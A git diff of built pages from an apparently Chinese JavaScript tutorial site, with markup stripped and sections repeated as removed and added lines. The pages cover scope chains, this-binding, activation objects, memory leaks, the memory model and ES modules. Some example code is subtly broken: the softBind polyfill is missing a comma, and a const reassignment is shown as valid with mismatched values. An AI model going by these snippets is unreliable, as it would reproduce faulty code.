                                  AO: {
                                  arguments: {
                                  length: 0,
                                  },
                                  scope2: 'local scope',
                                  },
                                  Scopes: [AO, [[Scopes]]],
                                  };
                                  1. 查找到 scope2 的值,返回后函数执行完毕,函数上下文从执行上下文栈中弹出
                                  ECStack = [globalContext];

                                  参考资料

                                  +
                                  bar.[[Scopes]] = [
                                  fooContext.AO,
                                  globalContext.VO
                                  ];

                                  函数的激活

                                  当函数激活(执行)时,进入函数上下文,创建 VO / AO 后,就会将 活动对象 添加到作用域链的前端。

                                  这时候执行上下文的作用域链,我们命名为 Scopes:

                                  Scopes = [AO].concat([[Scopes]]);

                                  至此,作用域链创建完毕。

                                  示例分析

                                  以下面的例子为例,结合着之前讲的变量对象和执行上下文栈,我们来总结一下函数执行上下文中作用域链和变量对象的 创建过程

                                  const scope = 'global scope';
                                  function checkscope() {
                                  var scope2 = 'local scope';
                                  return scope2;
                                  }
                                  checkscope();

                                  执行过程 如下:

                                  1. checkscope 函数被创建,保存作用域链到内部属性 [[Scopes]]
                                  checkscope.[[Scopes]] = [
                                  globalContext.VO
                                  ];
                                  1. 执行 checkscope 函数,创建 checkscope 函数执行上下文,checkscope 函数执行上下文被压入执行上下文栈
                                  ECStack = [checkscopeContext, globalContext];
                                  1. checkscope 函数并不立刻执行,开始做准备工作,第一步:复制函数 [[Scopes]] 属性创建作用域链
                                  checkscopeContext = {
                                  Scopes: checkscope.[[Scopes]],
                                  }
                                  1. arguments 创建活动对象,随后初始化活动对象,加入形参、函数声明、变量声明
                                  checkscopeContext = {
                                  AO: {
                                  arguments: {
                                  length: 0
                                  },
                                  scope2: undefined
                                  }
                                  Scopes: checkscope.[[Scopes]],
                                  }
                                  1. 将活动对象压入 checkscope 作用域链顶端
                                  checkscopeContext = {
                                  AO: {
                                  arguments: {
                                  length: 0,
                                  },
                                  scope2: undefined,
                                  },
                                  Scopes: [AO, [[Scopes]]],
                                  };
                                  1. 准备工作做完,开始执行函数,随着函数的执行,修改 AO 的属性值
                                  checkscopeContext = {
                                  AO: {
                                  arguments: {
                                  length: 0,
                                  },
                                  scope2: 'local scope',
                                  },
                                  Scopes: [AO, [[Scopes]]],
                                  };
                                  1. 查找到 scope2 的值,返回后函数执行完毕,函数上下文从执行上下文栈中弹出
                                  ECStack = [globalContext];

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/execution/this/index.html b/core-modules/executable-code-and-execution-contexts/execution/this/index.html index 1fd517ae0..e31cf902b 100644 --- a/core-modules/executable-code-and-execution-contexts/execution/this/index.html +++ b/core-modules/executable-code-and-execution-contexts/execution/this/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -83,12 +86,12 @@
                                  // 使用 bind 进行柯里化
                                  var bar = foo.bind(null, 2);
                                  bar(3);
                                  // a:2, b:3

                                  这两种方法都需要传入一个参数当作 this 的绑定对象。如果函数并不关心 this 的话,你 仍然需要传入一个占位值,这时 null 可能是一个不错的选择。

                                  软绑定

                                  硬绑定这种方式可以把 this 强制绑定到指定的对象(除了使用 new 时),防止函数调用应用默认绑定规则。问题在于,硬绑定会大大降低函数的灵活性,使用硬绑定之后就无法使用隐式绑定或者显式绑定来修改 this

                                  如果可以给默认绑定指定一个全局对象和 undefined 以外的值,那就可以实现和硬绑定相同的效果,同时保留隐式绑定或者显式绑定修改 this 的能力。

                                  if (!Function.prototype.softBind) { Function.prototype.softBind = function(obj) {
                                  var fn = this;
                                  // 捕获所有 curried 参数
                                  var curried = [].slice.call( arguments, 1 ); var bound = function() {
                                  return fn.apply(
                                  (!this || this === (window || global)) ?
                                  obj : this
                                  curried.concat.apply( curried, arguments )
                                  ); };
                                  bound.prototype = Object.create( fn.prototype );
                                  return bound; };
                                  }

                                  指向变更

                                  如下列出四种方法可以在编码中改变 this 指向。

                                  箭头函数

                                  箭头函数并不是使用 function 关键字定义的,而是使用被称为胖箭头的操作符 => 定义的。箭头函数不使用 this 的四种标准规则,而是根据外层(函数或者全局)作用域来决定 this 的指向。并且,箭头函数拥有静态的上下文,即一次绑定之后,便不可再修改。

                                  this 指向的固定化,并不是因为箭头函数内部有绑定 this 的机制,实际原因是箭头函数根本没有自己的 this,导致内部的 this 就是外层代码块的 this。正是因为它没有 this,所以也就不能用作构造函数。

                                  function foo() {
                                  // 返回一个箭头函数
                                  return (a) => {
                                  // this 继承自 foo()
                                  console.log(this.a);
                                  };
                                  }
                                  const container1 = { a: 1 };
                                  const container2 = { a: 2 };
                                  const bar = foo.call(container1);
                                  -
                                  bar.call(container2);
                                  // 1

                                  foo 内部创建的箭头函数会捕获调用时 foothis。由于 foothis 绑定到 container1bar(引用箭头函数)的 this 也会绑定到 container1,箭头函数的绑定无法被修改。

                                  箭头函数可以像 bind 一样确保函数的 this 被绑定到指定对象,此外,其重要性还体现在它用更常见的词法作用域取代了传统的 this 机制。实际上,在 ES6 之前我们就已经在使用一种几乎和箭头函数完全一样的模式。

                                  虽然 const self = this 和箭头函数看起来都可以取代 bind,但是从本质上来说,它们想替代的是 this 机制。

                                  如果你经常编写 this 风格的代码,但是绝大部分时候都会使用 const self = this 或者箭头函数来否定 this 机制,那你或许应当:

                                  应用场景总结

                                  1. 函数的普通调用
                                  2. 函数作为对象方法调用
                                  3. 函数作为构造函数调用
                                  4. 函数通过 callapplybind 间接调用
                                  5. 箭头函数的调用

                                  参考资料

                                  +
                                  bar.call(container2);
                                  // 1

                                  foo 内部创建的箭头函数会捕获调用时 foothis。由于 foothis 绑定到 container1bar(引用箭头函数)的 this 也会绑定到 container1,箭头函数的绑定无法被修改。

                                  箭头函数可以像 bind 一样确保函数的 this 被绑定到指定对象,此外,其重要性还体现在它用更常见的词法作用域取代了传统的 this 机制。实际上,在 ES6 之前我们就已经在使用一种几乎和箭头函数完全一样的模式。

                                  虽然 const self = this 和箭头函数看起来都可以取代 bind,但是从本质上来说,它们想替代的是 this 机制。

                                  如果你经常编写 this 风格的代码,但是绝大部分时候都会使用 const self = this 或者箭头函数来否定 this 机制,那你或许应当:

                                  应用场景总结

                                  1. 函数的普通调用
                                  2. 函数作为对象方法调用
                                  3. 函数作为构造函数调用
                                  4. 函数通过 callapplybind 间接调用
                                  5. 箭头函数的调用

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/execution/variable-object/index.html b/core-modules/executable-code-and-execution-contexts/execution/variable-object/index.html index 62d9f3d02..889d5270f 100644 --- a/core-modules/executable-code-and-execution-contexts/execution/variable-object/index.html +++ b/core-modules/executable-code-and-execution-contexts/execution/variable-object/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                                  this.window.b = 'foo';
                                  console.log(this.b);
                                  // 'foo'

                                  函数执行上下文

                                  在函数执行上下文中,我们用 活动对象(Activation Object,AO)来表示变量对象。

                                  活动对象变量对象 其实是同一个东西,只是变量对象是规范上的或者说是引擎实现上的,不可在 JavaScript 环境中访问,只有到当进入一个执行上下文中,这个执行上下文的变量对象才会被激活,所以才叫 Activation Object ,而只有 被激活 的变量对象,也就是活动对象上的各种属性才能被访问。

                                  活动对象是在进入函数执行上下文时刻被创建的,它通过函数的 arguments 属性初始化。arguments 属性值是 Arguments 对象

                                  执行过程

                                  执行上下文的代码会分成两个阶段进行处理:

                                  1. 分析:进入执行上下文
                                  2. 执行:代码执行

                                  进入执行上下文阶段的变量对象

                                  当进入执行上下文时,这时候还没有执行代码,变量对象的创建,依次经历了以下几个过程:

                                  1. 函数的所有形参(如果是函数执行上下文)
                                    • 建立 Arguments 对象
                                    • 检查当前上下文的参数,由名称和对应值组成的一个变量对象的属性被创建
                                    • 没有实参,属性值设为 undefined
                                  2. 函数声明
                                    • 检查当前上下文的函数声明,也就是使用 function 关键字声明的函数
                                    • 在变量对象中以函数名建立一个属性,属性值为指向该函数所在内存地址的引用
                                    • 如果变量对象已经存在相同名称的属性,那么该属性将会被新的引用所覆盖
                                  3. 变量声明
                                    • 检查当前上下文中的变量声明
                                    • 每找到一个变量声明,就在变量对象中以变量名建立一个属性,属性值为 undefined
                                    • 如果变量名称与已经声明的形式参数或函数相同,则变量声明不会干扰已经存在的这类属性(亦可理解为为了防止同名的变量属性被修改为 undefined,则会直接跳过,原属性值不会被修改)

                                  🌰 代码示例

                                  function foo(a) {
                                  var b = 2;
                                  function c() {}
                                  var d = function () {};
                                  -
                                  b = 3;
                                  }

                                  在进入执行上下文后,这时候的活动对象 AO 是:

                                  AO = {
                                  arguments: {
                                  0: 1,
                                  length: 1
                                  },
                                  a: 1,
                                  b: undefined,
                                  c: reference to function() {},
                                  d: undefined
                                  }

                                  代码执行阶段的变量对象

                                  在代码执行阶段,会根据代码,顺序执行代码,修改变量对象的值

                                  还是上面的例子,当代码执行完后,这时候的 AO 是:

                                  AO = {
                                  arguments: {
                                  0: 1,
                                  length: 1
                                  },
                                  a: 1,
                                  b: 3,
                                  c: reference to function c(){},
                                  d: reference to FunctionExpression "d"
                                  }

                                  到这里变量对象的创建过程就介绍完了,让我们简洁的总结我们上述所说:

                                  1. 全局执行上下文的变量对象初始化是全局对象
                                  2. 函数执行上下文的变量对象初始化只包括 Arguments 对象
                                  3. 在进入执行上下文时会给变量对象添加形参、函数声明、变量声明等初始的属性值
                                  4. 在代码执行阶段,会再次修改变量对象的属性值

                                  变量对象和活动对象

                                  VO 和 AO 到底是什么关系?

                                  未进入执行阶段之前,变量对象(VO:Variable Object)中的属性都不能访问。

                                  但是进入执行阶段之后,活动对象(AO:Activation Object)被激活,里面的属性包括 VO、函数执行时传入的参数和 Arguments 对象都能被访问了,然后开始进行执行阶段的操作。

                                  利用公式可以简单表述为:

                                  AO = VO + function parameters + arguments

                                  参考资料

                                  +
                                  b = 3;
                                  }

                                  在进入执行上下文后,这时候的活动对象 AO 是:

                                  AO = {
                                  arguments: {
                                  0: 1,
                                  length: 1
                                  },
                                  a: 1,
                                  b: undefined,
                                  c: reference to function() {},
                                  d: undefined
                                  }

                                  代码执行阶段的变量对象

                                  在代码执行阶段,会根据代码,顺序执行代码,修改变量对象的值

                                  还是上面的例子,当代码执行完后,这时候的 AO 是:

                                  AO = {
                                  arguments: {
                                  0: 1,
                                  length: 1
                                  },
                                  a: 1,
                                  b: 3,
                                  c: reference to function c(){},
                                  d: reference to FunctionExpression "d"
                                  }

                                  到这里变量对象的创建过程就介绍完了,让我们简洁的总结我们上述所说:

                                  1. 全局执行上下文的变量对象初始化是全局对象
                                  2. 函数执行上下文的变量对象初始化只包括 Arguments 对象
                                  3. 在进入执行上下文时会给变量对象添加形参、函数声明、变量声明等初始的属性值
                                  4. 在代码执行阶段,会再次修改变量对象的属性值

                                  变量对象和活动对象

                                  VO 和 AO 到底是什么关系?

                                  未进入执行阶段之前,变量对象(VO:Variable Object)中的属性都不能访问。

                                  但是进入执行阶段之后,活动对象(AO:Activation Object)被激活,里面的属性包括 VO、函数执行时传入的参数和 Arguments 对象都能被访问了,然后开始进行执行阶段的操作。

                                  利用公式可以简单表述为:

                                  AO = VO + function parameters + arguments

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/memory-management/garbage-collection/index.html b/core-modules/executable-code-and-execution-contexts/memory-management/garbage-collection/index.html index e15e4d688..17984b2ba 100644 --- a/core-modules/executable-code-and-execution-contexts/memory-management/garbage-collection/index.html +++ b/core-modules/executable-code-and-execution-contexts/memory-management/garbage-collection/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -39,12 +42,12 @@
                                  function closure() {
                                  funcs.push(outer());
                                  }
                                  </script>
                                  </body>

                                  注意:并非该代码一定有什么问题,只是说明闭包会带来内存占用,不合理的内存占用才会被定性为内存泄漏。

                                  调试方式:More Tools -> Developer Tools -> Memory -> Allocation instrumentation on timeline

                                  定时器

                                  当不需要 setInterval 或者 setTimeout 时,定时器没有被清除,定时器的回调函数以及内部依赖的变量都不能被回收,造成内存泄漏。

                                  const someResource = getData();
                                  // node、someResource 存储了大量数据 无法回收
                                  const timerId = setInterval(function () {
                                  const node = document.getElementById('Node');
                                  if (node) {
                                  // 定时器也没有清除
                                  node.innerHTML = JSON.stringify(someResource);
                                  }
                                  }, 1000);
                                  -
                                  clearInterval(timerId);

                                  🔧 解决方法:在定时器完成工作的时候,手动清除定时器。

                                  控制台打印

                                  使用 console.log 语句打印调试信息,因为控制台要始终保持他们的引用,以便随时查看,所以他们的内存也无法被回收,所以建议生产环境下去除控制台打印。

                                  参考资料

                                  +
                                  clearInterval(timerId);

                                  🔧 解决方法:在定时器完成工作的时候,手动清除定时器。

                                  控制台打印

                                  使用 console.log 语句打印调试信息,因为控制台要始终保持他们的引用,以便随时查看,所以他们的内存也无法被回收,所以建议生产环境下去除控制台打印。

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/memory-management/index.html b/core-modules/executable-code-and-execution-contexts/memory-management/index.html index 8eb59e606..e49b9a064 100644 --- a/core-modules/executable-code-and-execution-contexts/memory-management/index.html +++ b/core-modules/executable-code-and-execution-contexts/memory-management/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/executable-code-and-execution-contexts/memory-management/memory-life-cycle/index.html b/core-modules/executable-code-and-execution-contexts/memory-management/memory-life-cycle/index.html index a5ba7d638..0d48f7b4e 100644 --- a/core-modules/executable-code-and-execution-contexts/memory-management/memory-life-cycle/index.html +++ b/core-modules/executable-code-and-execution-contexts/memory-management/memory-life-cycle/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
                                  // 给函数分配内存
                                  function e() {
                                  return 1;
                                  }
                                  // 函数表达式也能分配内存
                                  someElement.addEventListener(
                                  'click',
                                  function () {
                                  someElement.style.backgroundColor = 'blue';
                                  },
                                  false
                                  );

                                  函数调用分配

                                  函数调用结果分配对象内存。

                                  // 分配 Date 对象实例
                                  var f = new Date();
                                  // 分配 DOM 元素
                                  var g = document.createElement('div');

                                  分配新变量或新对象。

                                  var s = 'bingo';
                                  var q = s.substr(0, 3);
                                  // q 是一个新的字符串
                                  // 因为字符串是不可变量
                                  // JavaScript 可能决定不分配内存
                                  // 只是存储 [0-3] 的范围
                                  -
                                  var x = ['a', 'b'];
                                  var y = ['c', 'd'];
                                  var z = x.concat(y);
                                  // 新数组有四个元素 是 x 和 y 连接的结果

                                  内存使用

                                  使用值的过程实际上是对分配内存进行读取与写入的操作。读取与写入可能是写入一个变量或者一个对象的属性值,甚至传递函数的参数。

                                  内存回收

                                  大多数内存管理的问题都在这个阶段。在这里最艰难的任务是找到所分配的内存确实已经不再需要了。它往往要求开发者来确定在程序中哪一块内存不再需要并且释放它。

                                  高级语言解释器嵌入了 垃圾回收器机制,它的主要工作是跟踪内存的分配和使用,以便当分配的内存不再使用时,自动释放它。这只能是一个近似的过程,因为要知道是否仍然需要某块内存是无法判定的(无法通过某种算法解决)。

                                  参考资料

                                  +
                                  var x = ['a', 'b'];
                                  var y = ['c', 'd'];
                                  var z = x.concat(y);
                                  // 新数组有四个元素 是 x 和 y 连接的结果

                                  内存使用

                                  使用值的过程实际上是对分配内存进行读取与写入的操作。读取与写入可能是写入一个变量或者一个对象的属性值,甚至传递函数的参数。

                                  内存回收

                                  大多数内存管理的问题都在这个阶段。在这里最艰难的任务是找到所分配的内存确实已经不再需要了。它往往要求开发者来确定在程序中哪一块内存不再需要并且释放它。

                                  高级语言解释器嵌入了 垃圾回收器机制,它的主要工作是跟踪内存的分配和使用,以便当分配的内存不再使用时,自动释放它。这只能是一个近似的过程,因为要知道是否仍然需要某块内存是无法判定的(无法通过某种算法解决)。

                                  参考资料

                                  - + diff --git a/core-modules/executable-code-and-execution-contexts/memory-management/memory-model/index.html b/core-modules/executable-code-and-execution-contexts/memory-management/memory-model/index.html index cd7cf2cc1..14b285095 100644 --- a/core-modules/executable-code-and-execution-contexts/memory-management/memory-model/index.html +++ b/core-modules/executable-code-and-execution-contexts/memory-management/memory-model/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                                  内存模型

                                  JavaScript 内存空间分为 (Stack)、(Heap)、(一般也会归类为栈中)。其中 存放变量, 存放复杂对象, 存放常量。

                                  栈数据结构

                                  与 C / C++ 不同,JavaScript 中并没有严格意义上区分栈内存与堆内存。因此我们可以简单粗暴的理解为 JavaScript 的所有数据都保存在堆内存中。但是在某些场景,我们仍然需要基于堆栈数据结构的思维来实现一些功能,比如 JavaScript 的 执行上下文。执行上下文的执行顺序借用了栈数据结构的存取方式。

                                  要简单理解栈的存取方式,我们可以通过类比乒乓球盒子来分析。

                                  乒乓球盒子与栈类比

                                  这种乒乓球的存放方式与栈中存取数据的方式如出一辙。处于盒子中最顶层的 乒乓球 5,它一定是最后被放进去,但可以最先被使用。而我们想要使用底层的 乒乓球 1,就必须将上面的 4 个乒乓球取出来,让 乒乓球 1 处于盒子顶层。这就是栈空间 先进后出,后进先出 的特点。图中已经详细的表明了栈空间的存储原理。

                                  堆数据结构

                                  堆数据结构是一种树状结构。它的存取数据的方式,则与书架与书非常相似。

                                  书虽然也整齐的存放在书架上,但是我们只要知道书的名字,我们就可以很方便的取出我们想要的书,而不用像从乒乓球盒子里取乒乓一样,非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在 JSON 格式的数据中,我们存储的 key-value 是可以无序的,因为顺序的不同并不影响我们的使用,我们只需要关心书的名字。

                                  队列数据结构

                                  队列是一种先进先出(FIFO)的数据结构。正如排队过安检一样,排在队伍前面的人一定是最先过检的人。用以下的图示可以清楚的理解队列的原理。

                                  队列数据结构

                                  变量对象与基础数据类型

                                  JavaScript 的 执行上下文 生成之后,会创建一个叫做 变量对象 的特殊对象,JavaScript 的基础数据类型往往都会保存在变量对象中。

                                  严格意义上来说,变量对象也是存放于堆内存中,但是由于变量对象的特殊职能,我们在理解时仍然需要将其与堆内存区分开来。

                                  JavaScript 中的基础数据类型,这些值都有固定的大小,往往都保存在栈内存中(闭包除外),由系统自动分配存储空间。我们可以直接操作保存在栈内存空间的值,因此基础数据类型都是按值访问,数据在栈内存中的存储与使用方式类似于数据结构中的堆栈数据结构,遵循 后进先出 的原则。

                                  暂不考虑 Symbol 类型

                                  引用数据类型与堆内存

                                  与其他语言不同,JavaScript 的引用数据类型,比如数组 Array,它们值的大小是不固定的。引用数据类型的值是保存在堆内存中的对象。JavaScript 不允许直接访问堆内存中的位置,因此我们不能直接操作对象的堆内存空间。在操作对象时,实际上是在操作对象的引用而不是实际的对象。因此,引用类型的值都是按引用访问的。这里的引用,我们可以粗浅地理解为保存在栈内存中的一个引用地址,该地址与堆内存的实际值相关联。 堆存取数据的方式,则与书架与书非常相似。 书虽然也有序的存放在书架上,但是我们只要知道书的名字,我们就可以很方便的取出我们想要的书,而不用像从乒乓球盒子里取乒乓一样,非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在 JSON 格式的数据中,我们存储的 key-value 是可以无序的,因为顺序的不同并不影响我们的使用,我们只需要关心书的名字。

                                  为了更好的搞懂变量对象与堆内存,我们可以结合以下例子与图解进行理解。

                                  // 变量对象
                                  var a1 = 0;
                                  // 变量对象
                                  var a2 = 'Bingo!';
                                  // 变量对象
                                  var a3 = null;
                                  -
                                  // 变量 b 存在于变量对象中,{m: 20} 作为对象存在于堆内存中
                                  var b = { m: 20 };
                                  // 变量 c 存在于变量对象中,[1, 2, 3] 作为对象存在于堆内存中
                                  var c = [1, 2, 3];

                                  sample-illustruction

                                  因此当我们要访问堆内存中的引用数据类型时,实际上我们首先是从变量对象中获取了该对象的 引用地址(或者地址指针),然后再从堆内存中取得我们需要的数据。

                                  理解了 JavaScript 的内存空间,我们就可以借助内存空间的特性来验证一下数据类型的特点了。

                                  数据拷贝

                                  基本数据类型

                                  🌰 代码示例

                                  const a = 10;
                                  const b = a;
                                  b = 20;

                                  在变量对象中数据发生拷贝操作时,系统会自动为新的变量分配一个新值。const b = a 赋值操作执行后,虽然变量 a 和变量 b 均为 100,但是它们其实已经是相互独立互不影响的值了。

                                  具体变化如下图所示:

                                  basic-type-copy-sample

                                  引用数据类型

                                  🌰 代码示例

                                  const m = { a: 10, b: 20 };
                                  const n = m;
                                  n.a = 15;

                                  引用类型的拷贝同样也会为新的变量自动分配一个新的值保存在变量对象中,但不同的是,这个新的值,仅仅只是引用类型的一个地址指针。当地址指针相同时,尽管他们相互独立,但是在变量对象中访问到的具体对象实际上是同一个。

                                  refered-type-copy-sample

                                  归纳总结

                                  栈内存堆内存
                                  存储基础数据类型存储引用数据类型
                                  按值访问按引用访问
                                  存储的值大小固定存储的值大小不定,可动态调整
                                  由系统自动分配内存空间由开发者通过代码进行分配
                                  主要用来执行程序主要用来存放对象
                                  空间小,运行效率高空间大,但是运行效率相对较低
                                  先进后出,后进先出无序存储,可根据引用直接获取

                                  参考资料

                                  +
                                  // 变量 b 存在于变量对象中,{m: 20} 作为对象存在于堆内存中
                                  var b = { m: 20 };
                                  // 变量 c 存在于变量对象中,[1, 2, 3] 作为对象存在于堆内存中
                                  var c = [1, 2, 3];

                                  sample-illustruction

                                  因此当我们要访问堆内存中的引用数据类型时,实际上我们首先是从变量对象中获取了该对象的 引用地址(或者地址指针),然后再从堆内存中取得我们需要的数据。

                                  理解了 JavaScript 的内存空间,我们就可以借助内存空间的特性来验证一下数据类型的特点了。

                                  数据拷贝

                                  基本数据类型

                                  🌰 代码示例

                                  const a = 10;
                                  const b = a;
                                  b = 20;

                                  在变量对象中数据发生拷贝操作时,系统会自动为新的变量分配一个新值。const b = a 赋值操作执行后,虽然变量 a 和变量 b 均为 100,但是它们其实已经是相互独立互不影响的值了。

                                  具体变化如下图所示:

                                  basic-type-copy-sample

                                  引用数据类型

                                  🌰 代码示例

                                  const m = { a: 10, b: 20 };
                                  const n = m;
                                  n.a = 15;

                                  引用类型的拷贝同样也会为新的变量自动分配一个新的值保存在变量对象中,但不同的是,这个新的值,仅仅只是引用类型的一个地址指针。当地址指针相同时,尽管他们相互独立,但是在变量对象中访问到的具体对象实际上是同一个。

                                  refered-type-copy-sample

                                  归纳总结

                                  栈内存堆内存
                                  存储基础数据类型存储引用数据类型
                                  按值访问按引用访问
                                  存储的值大小固定存储的值大小不定,可动态调整
                                  由系统自动分配内存空间由开发者通过代码进行分配
                                  主要用来执行程序主要用来存放对象
                                  空间小,运行效率高空间大,但是运行效率相对较低
                                  先进后出,后进先出无序存储,可根据引用直接获取

                                  参考资料

                                  - + diff --git a/core-modules/index.html b/core-modules/index.html index d69342bb3..8d231bb88 100644 --- a/core-modules/index.html +++ b/core-modules/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 核心模块 - JavaScript Guidebook -
                                    +
                                      - + diff --git a/core-modules/modularization/compound/index.html b/core-modules/modularization/compound/index.html index a99835302..cb4ac954c 100644 --- a/core-modules/modularization/compound/index.html +++ b/core-modules/modularization/compound/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
                                      // 默认模块转发
                                      import foo from './module'
                                      // 整体和部分模块共同转发
                                      import foo , { namedFoo } from './module'

                                      为了做到形式的对称,现在有提案,提出补上这三种复合写法。

                                      export * as foo from './module'
                                      export foo from './module'
                                      -
                                      export foo , { namedFoo } from './module'
                                      +
                                      export foo , { namedFoo } from './module'
                                      - + diff --git a/core-modules/modularization/cross-module-constant/index.html b/core-modules/modularization/cross-module-constant/index.html index ba9833685..e27f3b525 100644 --- a/core-modules/modularization/cross-module-constant/index.html +++ b/core-modules/modularization/cross-module-constant/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                                        跨模块常量

                                        由于 const 声明的变量只在当前代码块有效,如果想设置跨模块的常量(即跨多个文件),或者说一个值要被多个模块共享,可以采用下面的写法。

                                        // constants.js 声明后命名导出
                                        export const a = 1
                                        export const b = 2
                                        export const c = 3
                                        // module1.js 命名空间导入
                                        import * as constants from './constants.js'
                                        console.log(constants.a)
                                        // 1
                                        console.log(constants.b)
                                        // 2
                                        // module2.js 命名导入
                                        import { a, b } from './constants.js'
                                        console.log(a)
                                        // 1
                                        console.log(b)
                                        // 2

                                        如果要使用的常量非常多,可以建一个专门的 constants 目录,将各种常量写在不同的文件里面,保存在该目录下。

                                        // constants/a.js
                                        export const a = {
                                        a1: 'a1',
                                        a2: 'a2',
                                        a3: 'a3'
                                        }
                                        -
                                        // constants/b.js
                                        export const b = ['b1', 'b2', 'b3', 'b5', 'b6', 'b7']

                                        然后,将这些文件输出的常量,合并在 index.js 里面。

                                        // constants/index.js
                                        export { a } from './a'
                                        export { b } from './b'

                                        使用的时候,直接加载 index.js 就可以了。

                                        // module.js
                                        import { a, b } from './constants'
                                        +
                                        // constants/b.js
                                        export const b = ['b1', 'b2', 'b3', 'b5', 'b6', 'b7']

                                        然后,将这些文件输出的常量,合并在 index.js 里面。

                                        // constants/index.js
                                        export { a } from './a'
                                        export { b } from './b'

                                        使用的时候,直接加载 index.js 就可以了。

                                        // module.js
                                        import { a, b } from './constants'
                                        - + diff --git a/core-modules/modularization/dynamic-import/index.html b/core-modules/modularization/dynamic-import/index.html index 2901204c4..33c4294b9 100644 --- a/core-modules/modularization/dynamic-import/index.html +++ b/core-modules/modularization/dynamic-import/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                                        import(`./section-modules/${someVariable}.js`)
                                        .then((module) => {
                                        module.loadPageInto(main);
                                        })
                                        .catch((err) => {
                                        main.textContent = err.message;
                                        });

                                        import() 函数可以用在任何地方,不仅仅是模块,非模块的脚本也可以使用。它是运行时执行,也就是说,什么时候运行到这一句,就会加载指定的模块。另外,import() 函数与所加载的模块没有静态连接关系,这点也是与 import 语句不相同。import() 类似于 Node 的 require 方法,区别主要是前者是异步加载,后者是同步加载。

                                        适用场景

                                        按需加载

                                        import() 可以在需要的时候,再加载某个模块。

                                        button.addEventListener('click', (event) => {
                                        import('./dialogBox.js')
                                        .then((dialogBox) => {
                                        dialogBox.open();
                                        })
                                        .catch((error) => {
                                        /* Error handling */
                                        });
                                        });

                                        上面代码中,import() 方法放在 click 事件的监听函数之中,只有用户点击了按钮,才会加载这个模块。

                                        条件加载

                                        import() 可以放在 if 代码块,根据不同的情况,加载不同的模块。

                                        if (condition) {
                                        import('moduleA').then(...)
                                        } else {
                                        import('moduleB').then(...)
                                        }

                                        上面代码中,如果满足条件,就加载模块 A,否则加载模块 B。

                                        动态的模块路径

                                        import() 允许模块路径动态生成。

                                        import(fn()).then(() => {});

                                        上面代码中,根据函数 fn 的返回结果,加载不同的模块。

                                        注意事项

                                        解构赋值输出模块导入

                                        import() 加载模块成功以后,这个模块会作为一个对象,当作 then 方法的参数。因此,可以使用对象解构赋值的语法,获取输出接口。

                                        import('./module.js').then(({ export1, export2 }) => {
                                        // do something
                                        });

                                        上面代码中,export1export2 都是 module.js 的输出接口,可以解构获得。

                                        默认模块导入

                                        如果模块有 default 输出接口,可以用参数直接获得。

                                        import('./module.js').then((module) => {
                                        console.log(module.default);
                                        });

                                        命名模块导入

                                        上面的代码也可以使用 具名输 入的形式。

                                        import('./module.js').then(({ default: defaultInterface }) => {
                                        console.log(defaultInterface);
                                        });

                                        并发加载多个模块

                                        如果想同时加载多个模块,可以采用下面的写法。

                                        Promise.all([import('./module1.js'), import('./module2.js'), import('./module3.js')]).then(
                                        ([module1, module2, module3]) => {
                                        // do something
                                        }
                                        );

                                        异步函数的模块导入

                                        import() 也可以用在 async 函数之中。

                                        async function main() {
                                        const module = await import('./module.js');
                                        const { export1, export2 } = await import('./module.js');
                                        const [module1, module2, module3] = await Promise.all([
                                        import('./module1.js'),
                                        import('./module2.js'),
                                        import('./module3.js'),
                                        ]);
                                        }
                                        -
                                        main();
                                        +
                                        main();
                                        - + diff --git a/core-modules/modularization/export/index.html b/core-modules/modularization/export/index.html index 7dc41ae5c..301446e2d 100644 --- a/core-modules/modularization/export/index.html +++ b/core-modules/modularization/export/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
                                        var baz = 1;
                                        export { baz as bat };

                                        其他脚本可以通过这个接口,取到值 1。它们的实质是,在接口名与模块内部变量之间,建立了一一对应的关系。

                                        同样地,函数和类必须遵守这种书写方法。

                                        // Error
                                        function foo(){}
                                        export foo
                                        // Good
                                        export function bar(){}
                                        // Good
                                        function baz(){}
                                        export { baz }

                                        另外,export 语句输出的接口,与其对应的值是动态绑定关系,即通过该接口,可以取到模块内部实时的值。

                                        模块顶层输出

                                        export 命令可以出现在模块的任何位置,只要处于模块顶层就可以。

                                        如果处于块级作用域内,就会报错,import 命令也是如此。这是因为处于条件代码块之中,就没法做 静态优化 了,违背了 ES6 模块的设计初衷。

                                        function foo() {
                                        export default 'bar';
                                        // SyntaxError
                                        }
                                        -
                                        foo();
                                        +
                                        foo();
